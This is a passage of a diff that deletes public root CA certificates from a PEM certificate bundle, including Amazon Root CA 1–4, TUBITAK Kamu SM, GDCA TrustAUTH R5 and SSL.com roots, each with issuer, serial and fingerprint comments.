-6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp
-1txyM/1d8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B
-9kiABdcPUXmsEKvU7ANm5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wok
-RqEIr9baRRmW1FMdW4R58MD3R++Lj8UGrp1MYp3/RgT408m2ECVAdf4WqslKYIYv
-uu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
------END CERTIFICATE-----
-
-# Issuer: CN=Amazon Root CA 1 O=Amazon
-# Subject: CN=Amazon Root CA 1 O=Amazon
-# Label: "Amazon Root CA 1"
-# Serial: 143266978916655856878034712317230054538369994
-# MD5 Fingerprint: 43:c6:bf:ae:ec:fe:ad:2f:18:c6:88:68:30:fc:c8:e6
-# SHA1 Fingerprint: 8d:a7:f9:65:ec:5e:fc:37:91:0f:1c:6e:59:fd:c1:cc:6a:6e:de:16
-# SHA256 Fingerprint: 8e:cd:e6:88:4f:3d:87:b1:12:5b:a3:1a:c3:fc:b1:3d:70:16:de:7f:57:cc:90:4f:e1:cb:97:c6:ae:98:19:6e
------BEGIN CERTIFICATE-----
-MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsF
-ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
-b24gUm9vdCBDQSAxMB4XDTE1MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTEL
-MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
-b3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJ4gHHKeNXj
-ca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgHFzZM
-9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qw
-IFAGbHrQgLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6
-VOujw5H5SNz/0egwLX0tdHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L
-93FcXmn/6pUCyziKrlA4b9v7LWIbxcceVOF34GfID5yHI9Y/QCB/IIDEgEw+OyQm
-jgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
-AYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3DQEBCwUA
-A4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDI
-U5PMCCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUs
-N+gDS63pYaACbvXy8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vv
-o/ufQJVtMVT8QtPHRh8jrdkPSHCa2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU
-5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2xJNDd2ZhwLnoQdeXeGADbkpy
-rqXRfboQnoZsG4q5WTP468SQvvG5
------END CERTIFICATE-----
-
-# Issuer: CN=Amazon Root CA 2 O=Amazon
-# Subject: CN=Amazon Root CA 2 O=Amazon
-# Label: "Amazon Root CA 2"
-# Serial: 143266982885963551818349160658925006970653239
-# MD5 Fingerprint: c8:e5:8d:ce:a8:42:e2:7a:c0:2a:5c:7c:9e:26:bf:66
-# SHA1 Fingerprint: 5a:8c:ef:45:d7:a6:98:59:76:7a:8c:8b:44:96:b5:78:cf:47:4b:1a
-# SHA256 Fingerprint: 1b:a5:b2:aa:8c:65:40:1a:82:96:01:18:f8:0b:ec:4f:62:30:4d:83:ce:c4:71:3a:19:c3:9c:01:1e:a4:6d:b4
------BEGIN CERTIFICATE-----
-MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwF
-ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
-b24gUm9vdCBDQSAyMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTEL
-MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
-b3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK2Wny2cSkxK
-gXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4kHbZ
-W0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg
-1dKmSYXpN+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K
-8nu+NQWpEjTj82R0Yiw9AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r
-2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvdfLC6HM783k81ds8P+HgfajZRRidhW+me
-z/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAExkv8LV/SasrlX6avvDXbR
-8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSSbtqDT6Zj
-mUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz
-7Mt0Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6
-+XUyo05f7O0oYtlNc/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI
-0u1ufm8/0i2BWSlmy5A5lREedCf+3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMB
-Af8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSwDPBMMPQFWAJI/TPlUq9LhONm
-UjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oAA7CXDpO8Wqj2
-LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
-+gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kS
-k5Nrp+gvU5LEYFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl
-7uxMMne0nxrpS10gxdr9HIcWxkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygm
-btmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQgj9sAq+uEjonljYE1x2igGOpm/Hl
-urR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbWaQbLU8uz/mtBzUF+
-fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoVYh63
-n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE
-76KlXIx3KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H
-9jVlpNMKVv/1F2Rs76giJUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT
-4PsJYGw=
------END CERTIFICATE-----
-
-# Issuer: CN=Amazon Root CA 3 O=Amazon
-# Subject: CN=Amazon Root CA 3 O=Amazon
-# Label: "Amazon Root CA 3"
-# Serial: 143266986699090766294700635381230934788665930
-# MD5 Fingerprint: a0:d4:ef:0b:f7:b5:d8:49:95:2a:ec:f5:c4:fc:81:87
-# SHA1 Fingerprint: 0d:44:dd:8c:3c:8c:1a:1a:58:75:64:81:e9:0f:2e:2a:ff:b3:d2:6e
-# SHA256 Fingerprint: 18:ce:6c:fe:7b:f1:4e:60:b2:e3:47:b8:df:e8:68:cb:31:d0:2e:bb:3a:da:27:15:69:f5:03:43:b4:6d:b3:a4
------BEGIN CERTIFICATE-----
-MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5
-MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g
-Um9vdCBDQSAzMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG
-A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg
-Q0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZBf8ANm+gBG1bG8lKl
-ui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjrZt6j
-QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSr
-ttvXBp43rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkr
-BqWTrBqYaGFy+uGh0PsceGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteM
-YyRIHN8wfdVoOw==
------END CERTIFICATE-----
-
-# Issuer: CN=Amazon Root CA 4 O=Amazon
-# Subject: CN=Amazon Root CA 4 O=Amazon
-# Label: "Amazon Root CA 4"
-# Serial: 143266989758080763974105200630763877849284878
-# MD5 Fingerprint: 89:bc:27:d5:eb:17:8d:06:6a:69:d5:fd:89:47:b4:cd
-# SHA1 Fingerprint: f6:10:84:07:d6:f8:bb:67:98:0c:c2:e2:44:c2:eb:ae:1c:ef:63:be
-# SHA256 Fingerprint: e3:5d:28:41:9e:d0:20:25:cf:a6:90:38:cd:62:39:62:45:8d:a5:c6:95:fb:de:a3:c2:2b:0b:fb:25:89:70:92
------BEGIN CERTIFICATE-----
-MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5
-MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g
-Um9vdCBDQSA0MB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG
-A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg
-Q0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN/sGKe0uoe0ZLY7Bi
-9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri83Bk
-M6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB
-/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WB
-MAoGCCqGSM49BAMDA2gAMGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlw
-CkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1AE47xDqUEpHJWEadIRNyp4iciuRMStuW
-1KyLa2tJElMzrdfkviT8tQp21KW8EA==
------END CERTIFICATE-----
-
-# Issuer: CN=TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 O=Turkiye Bilimsel ve Teknolojik Arastirma Kurumu - TUBITAK OU=Kamu Sertifikasyon Merkezi - Kamu SM
-# Subject: CN=TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 O=Turkiye Bilimsel ve Teknolojik Arastirma Kurumu - TUBITAK OU=Kamu Sertifikasyon Merkezi - Kamu SM
-# Label: "TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1"
-# Serial: 1
-# MD5 Fingerprint: dc:00:81:dc:69:2f:3e:2f:b0:3b:f6:3d:5a:91:8e:49
-# SHA1 Fingerprint: 31:43:64:9b:ec:ce:27:ec:ed:3a:3f:0b:8f:0d:e4:e8:91:dd:ee:ca
-# SHA256 Fingerprint: 46:ed:c3:68:90:46:d5:3a:45:3f:b3:10:4a:b8:0d:ca:ec:65:8b:26:60:ea:16:29:dd:7e:86:79:90:64:87:16
------BEGIN CERTIFICATE-----
-MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIx
-GDAWBgNVBAcTD0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxp
-bXNlbCB2ZSBUZWtub2xvamlrIEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0w
-KwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24gTWVya2V6aSAtIEthbXUgU00xNjA0
-BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRpZmlrYXNpIC0gU3Vy
-dW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYDVQQG
-EwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXll
-IEJpbGltc2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklU
-QUsxLTArBgNVBAsTJEthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBT
-TTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11IFNNIFNTTCBLb2sgU2VydGlmaWthc2kg
-LSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr3UwM6q7
-a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y86Ij5iySr
-LqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INr
-N3wcwv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2X
-YacQuFWQfw4tJzh03+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/
-iSIzL+aFCr2lqBs23tPcLG07xxO9WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4f
-AJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQUZT/HiobGPN08VFw1+DrtUgxH
-V8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
-BQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
-AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPf
-IPP54+M638yclNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4
-lzwDGrpDxpa5RXI4s6ehlj2Re37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c
-8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0jq5Rm+K37DwhuJi1/FwcJsoz7UMCf
-lo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
------END CERTIFICATE-----
-
-# Issuer: CN=GDCA TrustAUTH R5 ROOT O=GUANG DONG CERTIFICATE AUTHORITY CO.,LTD.
-# Subject: CN=GDCA TrustAUTH R5 ROOT O=GUANG DONG CERTIFICATE AUTHORITY CO.,LTD.
-# Label: "GDCA TrustAUTH R5 ROOT"
-# Serial: 9009899650740120186
-# MD5 Fingerprint: 63:cc:d9:3d:34:35:5c:6f:53:a3:e2:08:70:48:1f:b4
-# SHA1 Fingerprint: 0f:36:38:5b:81:1a:25:c3:9b:31:4e:83:ca:e9:34:66:70:cc:74:b4
-# SHA256 Fingerprint: bf:ff:8f:d0:44:33:48:7d:6a:8a:a6:0c:1a:29:76:7a:9f:c2:bb:b0:5e:42:0f:71:3a:13:b9:92:89:1d:38:93
------BEGIN CERTIFICATE-----
-MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UE
-BhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
-IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0
-MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVowYjELMAkGA1UEBhMCQ04xMjAwBgNV
-BAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8w
-HQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0BAQEF
-AAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJj
-Dp6L3TQsAlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBj
-TnnEt1u9ol2x8kECK62pOqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+u
-KU49tm7srsHwJ5uu4/Ts765/94Y9cnrrpftZTqfrlYwiOXnhLQiPzLyRuEH3FMEj
-qcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ9Cy5WmYqsBebnh52nUpm
-MUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQxXABZG12
-ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloP
-zgsMR6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3Gk
-L30SgLdTMEZeS1SZD2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeC
-jGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4oR24qoAATILnsn8JuLwwoC8N9VKejveSswoA
-HQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx9hoh49pwBiFYFIeFd3mqgnkC
-AwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlRMA8GA1UdEwEB
-/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
-p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZm
-DRd9FBUb1Ov9H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5
-COmSdI31R9KrO9b7eGZONn356ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ry
-L3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd+PwyvzeG5LuOmCd+uh8W4XAR8gPf
-JWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQHtZa37dG/OaG+svg
-IHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBDF8Io
-2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV
-09tL7ECQ8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQ
-XR4EzzffHqhmsYzmIGrv/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrq
-T8p+ck0LcIymSLumoRT2+1hEmRSuqguTaaApJUqlyyvdimYHFngVV3Eb7PVHhPOe
-MTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
------END CERTIFICATE-----
-
-# Issuer: CN=SSL.com Root Certification Authority RSA O=SSL Corporation
-# Subject: CN=SSL.com Root Certification Authority RSA O=SSL Corporation
-# Label: "SSL.com Root Certification Authority RSA"
-# Serial: 8875640296558310041
-# MD5 Fingerprint: 86:69:12:c0:70:f1:ec:ac:ac:c2:d5:bc:a5:5b:a1:29
-# SHA1 Fingerprint: b7:ab:33:08:d1:ea:44:77:ba:14:80:12:5a:6f:bd:a9:36:49:0c:bb
-# SHA256 Fingerprint: 85:66:6a:56:2e:e0:be:5c:e9:25:c1:d8:89:0a:6f:76:a8:7e:c1:6d:4d:7d:5f:29:ea:74:19:cf:20:12:3b:69
------BEGIN CERTIFICATE-----
-MIIF3TCCA8WgAwIBAgIIeyyb0xaAMpkwDQYJKoZIhvcNAQELBQAwfDELMAkGA1UE
-BhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQK
-DA9TU0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZp
-Y2F0aW9uIEF1dGhvcml0eSBSU0EwHhcNMTYwMjEyMTczOTM5WhcNNDEwMjEyMTcz
-OTM5WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv
-dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
-bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFJTQTCCAiIwDQYJKoZIhvcN
-AQEBBQADggIPADCCAgoCggIBAPkP3aMrfcvQKv7sZ4Wm5y4bunfh4/WvpOz6Sl2R
-xFdHaxh3a3by/ZPkPQ/CFp4LZsNWlJ4Xg4XOVu/yFv0AYvUiCVToZRdOQbngT0aX
-qhvIuG5iXmmxX9sqAn78bMrzQdjt0Oj8P2FI7bADFB0QDksZ4LtO7IZl/zbzXmcC
-C52GVWH9ejjt/uIZALdvoVBidXQ8oPrIJZK0bnoix/geoeOy3ZExqysdBP+lSgQ3
-6YWkMyv94tZVNHwZpEpox7Ko07fKoZOI68GXvIz5HdkihCR0xwQ9aqkpk8zruFvh
-/l8lqjRYyMEjVJ0bmBHDOJx+PYZspQ9AhnwC9FwCTyjLrnGfDzrIM/4RJTXq/LrF
-YD3ZfBjVsqnTdXgDciLKOsMf7yzlLqn6niy2UUb9rwPW6mBo6oUWNmuF6R7As93E
-JNyAKoFBbZQ+yODJgUEAnl6/f8UImKIYLEJAs/lvOCdLToD0PYFH4Ih86hzOtXVc
-US4cK38acijnALXRdMbX5J+tB5O2UzU1/Dfkw/ZdFr4hc96SCvigY2q8lpJqPvi8
-ZVWb3vUNiSYE/CUapiVpy8JtynziWV+XrOvvLsi81xtZPCvM8hnIk2snYxnP/Okm
-+Mpxm3+T/jRnhE6Z6/yzeAkzcLpmpnbtG3PrGqUNxCITIJRWCk4sbE6x/c+cCbqi
-M+2HAgMBAAGjYzBhMB0GA1UdDgQWBBTdBAkHovV6fVJTEpKV7jiAJQ2mWTAPBgNV
-HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFN0ECQei9Xp9UlMSkpXuOIAlDaZZMA4G
-A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAIBgRlCn7Jp0cHh5wYfGV
-cpNxJK1ok1iOMq8bs3AD/CUrdIWQPXhq9LmLpZc7tRiRux6n+UBbkflVma8eEdBc
-Hadm47GUBwwyOabqG7B52B2ccETjit3E+ZUfijhDPwGFpUenPUayvOUiaPd7nNgs
-PgohyC0zrL/FgZkxdMF1ccW+sfAjRfSda/wZY52jvATGGAslu1OJD7OAUN5F7kR/
-q5R4ZJjT9ijdh9hwZXT7DrkT66cPYakylszeu+1jTBi7qUD3oFRuIIhxdRjqerQ0
-cuAjJ3dctpDqhiVAq+8zD8ufgr6iIPv2tS0a5sKFsXQP+8hlAqRSAUfdSSLBv9jr
-a6x+3uxjMxW3IwiPxg+NQVrdjsW5j+VFP3jbutIbQLH+cU0/4IGiul607BXgk90I
-H37hVZkLId6Tngr75qNJvTYw/ud3sqB1l7UtgYgXZSD32pAAn8lSzDLKNXz1PQ/Y
-K9f1JmzJBjSWFupwWRoyeXkLtoh/D1JIPb9s2KJELtFOt3JY04kTlf5Eq/jXixtu
-nLwsoFvVagCvXzfh1foQC5ichucmj87w7G6KVwuA406ywKBjYZC6VWg3dGq2ktuf
-oYYitmUnDuy2n0Jg5GfCtdpBC8TTi2EbvPofkSvXRAdeuims2cXp71NIWuuA8ShY
-Ic2wBlX7Jz9TkHCpBB5XJ7k=
------END CERTIFICATE-----
-
-# Issuer: CN=SSL.com Root Certification Authority ECC O=SSL Corporation
-# Subject: CN=SSL.com Root Certification Authority ECC O=SSL Corporation
-# Label: "SSL.com Root Certification Authority ECC"
-# Serial: 8495723813297216424
-# MD5 Fingerprint: 2e:da:e4:39:7f:9c:8f:37:d1:70:9f:26:17:51:3a:8e
-# SHA1 Fingerprint: c3:19:7c:39:24:e6:54:af:1b:c4:ab:20:95:7a:e2:c3:0e:13:02:6a
-# SHA256 Fingerprint: 34:17:bb:06:cc:60:07:da:1b:96:1c:92:0b:8a:b4:ce:3f:ad:82:0e:4a:a3:0b:9a:cb:c4:a7:4e:bd:ce:bc:65
------BEGIN CERTIFICATE-----
-MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMC
-VVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9T
-U0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0
-aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEyMTgxNDAzWhcNNDEwMjEyMTgxNDAz
-WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hvdXN0
-b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNvbSBS
-b290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB
-BAAiA2IABEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI
-7Z4INcgn64mMU1jrYor+8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPg
-CemB+vNH06NjMGEwHQYDVR0OBBYEFILRhXMw5zUE044CkvvlpNHEIejNMA8GA1Ud
-EwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTTjgKS++Wk0cQh6M0wDgYD
-VR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCWe+0F+S8T
-kdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+
-gA0z5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl
------END CERTIFICATE-----
-
-# Issuer: CN=SSL.com EV Root Certification Authority RSA R2 O=SSL Corporation
-# Subject: CN=SSL.com EV Root Certification Authority RSA R2 O=SSL Corporation
-# Label: "SSL.com EV Root Certification Authority RSA R2"
-# Serial: 6248227494352943350
-# MD5 Fingerprint: e1:1e:31:58:1a:ae:54:53:02:f6:17:6a:11:7b:4d:95
-# SHA1 Fingerprint: 74:3a:f0:52:9b:d0:32:a0:f4:4a:83:cd:d4:ba:a9:7b:7c:2e:c4:9a
-# SHA256 Fingerprint: 2e:7b:f1:6c:c2:24:85:a7:bb:e2:aa:86:96:75:07:61:b0:ae:39:be:3b:2f:e9:d0:cc:6d:4e:f7:34:91:42:5c
------BEGIN CERTIFICATE-----
-MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNV
-BAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UE
-CgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2Vy
-dGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMB4XDTE3MDUzMTE4MTQzN1oXDTQy
-MDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4G
-A1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQD
-DC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy
-MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvq
-M0fNTPl9fb69LT3w23jhhqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssuf
-OePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7wcXHswxzpY6IXFJ3vG2fThVUCAtZJycxa
-4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTOZw+oz12WGQvE43LrrdF9
-HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+B6KjBSYR
-aZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcA
-b9ZhCBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQ
